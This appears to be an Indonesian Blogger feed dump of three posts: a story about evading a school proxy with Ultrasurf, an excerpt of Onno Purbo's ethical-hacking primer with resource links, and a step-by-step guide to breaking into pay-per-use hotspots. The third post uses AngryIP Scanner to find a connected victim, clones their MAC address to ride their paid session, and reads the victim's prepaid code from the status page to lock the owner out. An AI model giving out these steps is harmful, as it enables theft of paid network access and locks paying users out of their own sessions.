/>PENGALAMAN MENJEBOL PROXY<br />07/06/2009 by atma165 <br /><br />Anda orang kuliahan atau.. kantoran.. internet sudah menjadi kebutuhan sehari-hari.. (sama seperti saya).. Hhe,, ini sama seperti yang saya alami.. waktu itu saya memakai internet di salah satu sekolah,, ternyata waktu saya buka situs-situs seperti youtube.com dan friendster.com ternyata ke situs lain.. wah kacau niy urusannya.. dalam hati saya bagaimana saya harus mendapatkan jalan keluar… pertama-tama saya bertanya sama si Om google, ternyata Om google ngasih jawabannya tuh, saya di suruh membuka situs-situs anonymous gitu.. ternyata berhasil tuh saya masuk ke friendster… jalan-jalan dulu deh.. waktu saya buka halaman pertama ternyata ada pesan baru.. kemudian saya mencoba untuk membalas pesan tersebut.. Apa yang terjadi…!!!!?? ternyata tuh pesan ga bisa kebales alias ga bisa kekirim..!!! saya berfikir kenapa ini..!!???#$%^<br /><br />Setelah saya pelajari rupanya ada beberapa script atau database nya yang tidak jalan.. oh disitu letak kekurangannya… saya cari lagi situs-situs cracker yang menyediakan layanan seperti anonymous tersebut,, ternyata sama saja. Duh udah mulai pusing ni kepala gimana ya caranya…??? kemudian saya tanya lagi sama om google yang saya temui macem-macem jalan keluar.. tp yang aneh ga bisa juga.. saya terdiam sejenak dan memikirkan bagaimana jalan keluarnya ni.. kayak nya perlu berfikir panjang dimana kelemahan proxy ini..!!! saya utak-atik tuh pc, ga bisa juga.. jalan-jalan dulu deh ke situs-situs hacker.. dan ternyata saya menemukan jalan keluarnya… WITH TOOLS kalau kata orang barat bilang… saya baca-baca meskipun satu dua yang saya mengerti artinya masalahnya pakai bahasa inggris, pelajaran bahasa inggris aja dapet 5… wkwkwkwk..<br /><br />Setelah selesai membaca saya di beritahukan di situ harus mendownload software untuk menjebol tuh proxy.. kemudian saya beralihlah ke situs yang di beritahukan tersebut, Link nya yaitu http://www.ultrareach.com/ nama softwarenya Ultrasurf. akhirnya dapet juga niy… dalem hati ketawa.. tapi dosa juga kalau saya fikir-fikir… ah separuh jalan gumam saya…!! kemudian saya download dan ternyata file nya ga gede kok cuman berapa MB gitu.. cepet banget. Sesudah saya download saya install dan langsung saya pakai ga susah juga mengoprasikannya. Kalau anda ingin mencoba silakan saja pakai ultrasurf labih nyaman.. tp cuman jalan di Internet explorer doank di firefox sama opera ga bisa tp lumayan lah bagi anda penggemar IE.. sekian dulu niy sharing nya mudah-mudahan ada ilmu yang bisa di ambil… bye…bye…!!!Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-47541652799236854872010-05-30T09:08:00.004+07:002010-05-30T09:14:14.876+07:00Belajar Menjadi Hacker<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiokNkwLVXGs5063DNDH5EdQLe8JnNgSZDhdgm0BNW51IZeAdfWX6U9E85wX6jvsJSSjNVCZpgnHv4wdQIYlweFUe1CLtZ3aofUFjVSmE0V1-EvEz5YjQjaAR5kueigoT0LcYtQ6jZG2Raq/s1600/010716_0870_4003_o__i_thm.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 128px; height: 84px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiokNkwLVXGs5063DNDH5EdQLe8JnNgSZDhdgm0BNW51IZeAdfWX6U9E85wX6jvsJSSjNVCZpgnHv4wdQIYlweFUe1CLtZ3aofUFjVSmE0V1-EvEz5YjQjaAR5kueigoT0LcYtQ6jZG2Raq/s400/010716_0870_4003_o__i_thm.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5476880426232663618" /></a><br />Onno W. Purbo<br />onno@indo.net.id<br />Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan – mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.<br />Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik – jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut – karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.<br />Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di<br />http://www.sans.org,h ttp://www.ro o tsh ell.co m,http://www.linuxfirewall.org/,h ttp ://www.linu xd o c.o rg,<br />http://www.cerias.purdue.edu/coast/firewalls/,h t tp ://www.red h at.co m/ mirro rs/LDP/ HOWTO/. Sebagian<br />dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh dihttp://www.iss.net/vd/mail.html,http://www.v-one.com/documents/fw-faq.htm. Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain dih tt p: / /b as t i l le -<br />linux.sourceforge.net/, http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.<br />Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari<br />http://pandu.dhs.org,http://www.bogor.net/idkf/,ht tp : //l oui s.ida man.c o m/ i dkf. Beberapa buku berbentuk<br />softcopy yang dapat di ambil gratis dapat di ambil darihttp ://p andu.dhs.o rg/Buku-On line/. Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini – tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut sepertiku rsu s-l in ux@yah o og ro ups.co m &linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI)<br />http://www.kpli.or.id.<br />Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya dihttp://www.sans.org/newlook/publications/roadmap.htm#3btentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet<br />yang<br />berkaitan<br />dengan<br />keamanan<br />jaringan<br />seperti<br />dalam<br />daftar<br />http://www.sans.org/newlook/publications/roadmap.htm#3e.<br />Dijelaskan oleh Front-line Information Security Team, “Techniques Adopted By 'System Crackers'<br />When Attempting To Break Into Corporate or Sensitive Private Networks,”fist@ns2.co.uk<br />1<br /><a class="ll" style="LEFT: 7.81em; WIDTH: 7.88em; TOP: 36.94em; HEIGHT: 1.25em" href="http://www.sans.org/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5zYW5zLm9yZy8= "></a><a class="ll" style="LEFT: 16.25em; WIDTH: 9.94em; TOP: 36.94em; HEIGHT: 1.25em" href="http://www.rootshell.com/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5yb290c2hlbGwuY29tLw== "></a><a class="ll" style="LEFT: 26.75em; WIDTH: 11.44em; TOP: 36.94em; HEIGHT: 1.25em" href="http://www.linuxfirewall.org/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5saW51eGZpcmV3YWxsLm9yZy8= "></a><a class="ll" style="LEFT: 38.75em; WIDTH: 9.56em; TOP: 36.94em; HEIGHT: 1.25em" href="http://www.linuxdoc.org/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5saW51eGRvYy5vcmcv "></a><a class="ll" style="LEFT: 7.81em; WIDTH: 17.69em; TOP: 38.06em; HEIGHT: 1.25em" href="http://www.cerias.purdue.edu/coast/firewalls/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5jZXJpYXMucHVyZHVlLmVkdS9jb2FzdC9maXJld2FsbHMv "></a><a class="ll" style="LEFT: 26.06em; WIDTH: 18.31em; TOP: 38.06em; HEIGHT: 1.25em" href="http://www.redhat.com/mirrors/LDP/HOWTO/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5yZWRoYXQuY29tL21pcnJvcnMvTERQL0hPV1RPLw== "></a><a class="ll" style="LEFT: 13.19em; WIDTH: 12.31em; TOP: 41.38em; HEIGHT: 1.25em" href="http://www.iss.net/vd/mail.html" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5pc3MubmV0L3ZkL21haWwuaHRtbA== "></a><a class="ll" style="LEFT: 26.25em; WIDTH: 17.81em; TOP: 41.38em; HEIGHT: 1.25em" href="http://www.v-one.com/documents/fw-faq.htm" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy52LW9uZS5jb20vZG9jdW1lbnRzL2Z3LWZhcS5odG0= "></a><a class="ll" style="LEFT: 43.13em; WIDTH: 5.44em; TOP: 42.5em; HEIGHT: 1.25em" href="http://bastille-linux.sourceforge.net/" target="_blank" rel="nofollow" orig="aHR0cDovL2Jhc3RpbGxlLWxpbnV4LnNvdXJjZWZvcmdlLm5ldC8= "></a><a class="ll" style="LEFT: 7.81em; WIDTH: 8.5em; TOP: 43.63em; HEIGHT: 1.25em" href="http://bastille-linux.sourceforge.net/" target="_blank" rel="nofollow" orig="aHR0cDovL2Jhc3RpbGxlLWxpbnV4LnNvdXJjZWZvcmdlLm5ldC8= "></a><a class="ll" style="LEFT: 16.81em; WIDTH: 27.13em; TOP: 43.63em; HEIGHT: 1.25em" href="http://www.redhat.com/support/docs/tips/firewall/firewallservice.html" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5yZWRoYXQuY29tL3N1cHBvcnQvZG9jcy90aXBzL2ZpcmV3 YWxsL2ZpcmV3YWxsc2VydmljZS5odG1s "></a><a class="ll" style="LEFT: 7.81em; WIDTH: 7.81em; TOP: 46.94em; HEIGHT: 1.31em" href="http://pandu.dhs.org/" target="_blank" rel="nofollow" orig="aHR0cDovL3BhbmR1LmRocy5vcmcv "></a><a class="ll" style="LEFT: 16.13em; WIDTH: 10.44em; TOP: 46.94em; HEIGHT: 1.31em" href="http://www.bogor.net/idkf/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5ib2dvci5uZXQvaWRrZi8= "></a><a class="ll" style="LEFT: 27.06em; WIDTH: 11em; TOP: 46.94em; HEIGHT: 1.31em" href="http://louis.idaman.com/idkf" target="_blank" rel="nofollow" orig="aHR0cDovL2xvdWlzLmlkYW1hbi5jb20vaWRrZg== "></a><a class="ll" style="LEFT: 30.44em; WIDTH: 13.38em; TOP: 48.06em; HEIGHT: 1.25em" href="http://pandu.dhs.org/Buku-Online/" target="_blank" rel="nofollow" orig="aHR0cDovL3BhbmR1LmRocy5vcmcvQnVrdS1PbmxpbmUv "></a><a class="ll" style="LEFT: 35.94em; WIDTH: 12.63em; TOP: 51.38em; HEIGHT: 1.31em" href="mailto:kursus-linux@yahoogroups.com" target="_blank" rel="nofollow" orig="bWFpbHRvOmt1cnN1cy1saW51eEB5YWhvb2dyb3Vwcy5jb20= "></a><a class="ll" style="LEFT: 9.13em; WIDTH: 9.63em; TOP: 52.5em; HEIGHT: 1.31em" href="mailto:linux-admin@linux.or.id" target="_blank" rel="nofollow" orig="bWFpbHRvOmxpbnV4LWFkbWluQGxpbnV4Lm9yLmlk "></a><a class="ll" style="LEFT: 7.81em; WIDTH: 8.25em; TOP: 53.63em; HEIGHT: 1.25em" href="http://www.kpli.or.id/" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5rcGxpLm9yLmlkLw== "></a><a class="ll" style="LEFT: 21.56em; WIDTH: 23.25em; TOP: 56.94em; HEIGHT: 1.31em" href="http://www.sans.org/newlook/publications/roadmap.htm" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5zYW5zLm9yZy9uZXdsb29rL3B1YmxpY2F0aW9ucy9yb2Fk bWFwLmh0bQ== "></a><a class="ll" style="LEFT: 7.81em; WIDTH: 23.25em; TOP: 60.31em; HEIGHT: 1.25em" href="http://www.sans.org/newlook/publications/roadmap.htm" target="_blank" rel="nofollow" orig="aHR0cDovL3d3dy5zYW5zLm9yZy9uZXdsb29rL3B1YmxpY2F0aW9ucy9yb2Fk bWFwLmh0bQ== "></a><a class="ll" style="LEFT: 42.69em; WIDTH: 5.88em; TOP: 63.63em; HEIGHT: 1.25em" href="mailto:fist@ns2.co.uk" target="_blank" rel="nofollow" orig="bWFpbHRvOmZpc3RAbnMyLmNvLnVr "></a>Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-3686025830344105162010-05-29T20:49:00.001+07:002010-05-29T20:50:19.582+07:00CARA BOBOL WARNET/HOTSPOT29 May<br /><a title="Permanent Link to CARA BOBOL WARNET/HOTSPOT" href="http://www.beflasher.co.cc/cara-bobol-warnethotspot/" rel="bookmark">CARA BOBOL WARNET/HOTSPOT </a><br />Posted by <a title="Posts by haniviva" href="http://www.beflasher.co.cc/author/haniviva/">haniviva</a><br />moga gak repostCara Mudah Bobol Warnet hotspot Untuk Internet Gratis<br />Wah serem banget ya judulnya ? “Membobol Hotspot“. Tapi ini merupakan sebuah trik yang saya sering lakukan di warnet yang berbasis hotspot. Jahat Donk ? Uhm…, tergantung situasi sih, kalau memang keungan lagi mepet dan memang gak bisa ngenet pakek isi kantong ya mungkin trik ini bisa membantu. Saya jahat ya ? (saya harap teman-teman menjawab dengan bijak, hehehe..). Trik ini juga bisa digunkan untuk mencari pasword yang digunakan oleh seseorang dalam mengakses hotspot yang bisanya menggunakan kartu prepaid.<br />Langsung aja ke TKP<br />Alat yang dipersiapkan sih simple aja :<br />- Seperangkat Laptop : Pc yang kena wireless juga boleh, asal jaringan hotspotnya nyampek.<br />- Charger laptop : karena pasti memakan banyak daya batre saat keranjingan internet gratis .<br />Software yang diperlukan :<br />1. AngryIP Scanner (108 kb): ini software untuk scanning ip dan mencari mac address korban. Softwarenya search aja di google kecil kok ukurannya. Tinggal pakai alias gak perlu instalasi.<br />2. Mac Addres Chager (312 kb): software ini dipergunkan untuk mengganti mac addres kita. Mac Address ? gak perlu dijelasin yang penting bisa makeknya, tak pasti ngeti sambil jalan. (asal jalan gak jauh-jauh “^_^”). Silakan search di google.<br />Langsung aja sekarang ke caranya :<br />1. Cari lokasi penyedia layanan hotspot, tentunya di daerah yang terjangkau jaringan hotspot tersebut.<br />2. Hidupkan laptop anda, dan hidupkan pula wireless network anda dan lihat di sistem tray icon wireless network, kemudian klik kanan dan pilih view avalible wireless network, dan tentunya setelah itu anda harus connect ke wireless hotspot tujuan anda.<br />3. Setelah connect, klik kanan sistem tray dan pilih status >pilih tab detail > kelihatan disana ip yang diberikan kepada kita. Catat ip tersebut.<br />4. Buka Program AngryIP Scanner dan isikan ip range yang akan kita scan (pakai data ip kita tadi) pada bagian atas. Misalnya : IP yang kita dapat xxx.xxx.x.xx kemuadian masukkan pada kolom range pertama ip kita sesuai dengan ip yang tadi namun ganti angka di bagian akhir dengan 1 menjadi xxx.xxx.x.1 dan pada kolom kedua tuliskan sama namun angka satu diakhir itu ganti dengan 255 menjadi xxx.xxx.x.255. hasilnya xxx.xxx.x.1 to xxx.xxx.x.255 dan klik start (tombol merah).<br />5. Setelah melakukan scanning maka kita akan mendapatkan data ip yang hidup yang terkoneksi dengan hotspot tersebut. setelah scanning selesai maka lihat ip yang hidup (alive host) warna biru klik kanan pada ip yang hidup Klik kanan pada ip yang warna biru tadi klik kanan > show > mac address dan akan ada kode mac addres (terkadang ada mac addressnya tidak tampil, pilih saja ip yang lainnya). Catat mac address yang kita dapatkan.<br />6. Buka Program Mac Address Changer yang telah kita persiapkan. Disana ada field mac address. nah sekarang tinggal ganti mac address tersebut dengan yang kita dapatkan tadi dan tekan change mac id.<br />7. Tunggu karena mac kita aan diganti dan koneksi sementara terputus dan konek lagi otomatis sendiri.<br />8. Masuk web browser firefox atau apa saja boleh. Nikmati Internet Gratis…<br />Satu hal yang perlu diingat adalah kita sistemnya numpang data transfer pada account yang kita hack tadi (yang punya ip tadi, maaf…). Kalau Saya sih biasanya untuk mengakalinya adalah dengan masuk halaman status login hotspot tersebut (untuk dapat account). misalnya idonbiu.hotspot.net/status dan begitu masuk disana kan terlihat nomor sandi prepaid card dan kita catat saja, lalu logout, dan masuk kembali ke halaman login hotspot itu cepat-cepat masukkan sandi tadi. Hal ini akan membuat kita secara langsung dapat mengakses internet tanpa menumpang lagi (soalnya yang make prepaid card code kan kita) jadi kalau ada yang mau login pakai kartu itu (yang punya code) saat kita login pakai kartu itu tentunya dia tidak akan bisa masuk karena kartu prepaid cardnya “already login”.<br />Bagaiamana, menarik bukan ?<br />Tapi saya sarankan, seperti yang saya lakukan adalah dengan menumpang saja, karena saya tidak mau berbuat terlalu jauh, seperti cara yang saya beritau untuk me log off dan log in lagi tentunya akan membuat sang pemilik tidak bisa log in. Kasian kan ?<br />Jadi mumpung sudah dikasi gratisan, kenapa gak numpang saja ya, itung-itung cuman ikutan ngakses bareng kan tidak terlalu merugikan. Minta ijin langsung juga kemungkinan yang punya gak nolak, asal kepentingannya memang mendesak.<br />Untuk Sacanning Ip saya juga bisa gunakan aplikasi the dude untuk mengetahui kondisi koneksi komputer-komputer ke hotspot. Bisa dicoba juga ya.<br />Sekali lagi, semua ini hanya untuk pembelajaran saja, selama kita masih mampu kenapa gak pakai yang legal aja. Dan ini juga bisa dimanfaatkan oleh pemilik hotspot, kalau cara ini masih bisa digunakan untuk membobol. Jadi perlu keamanan yang lebihBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0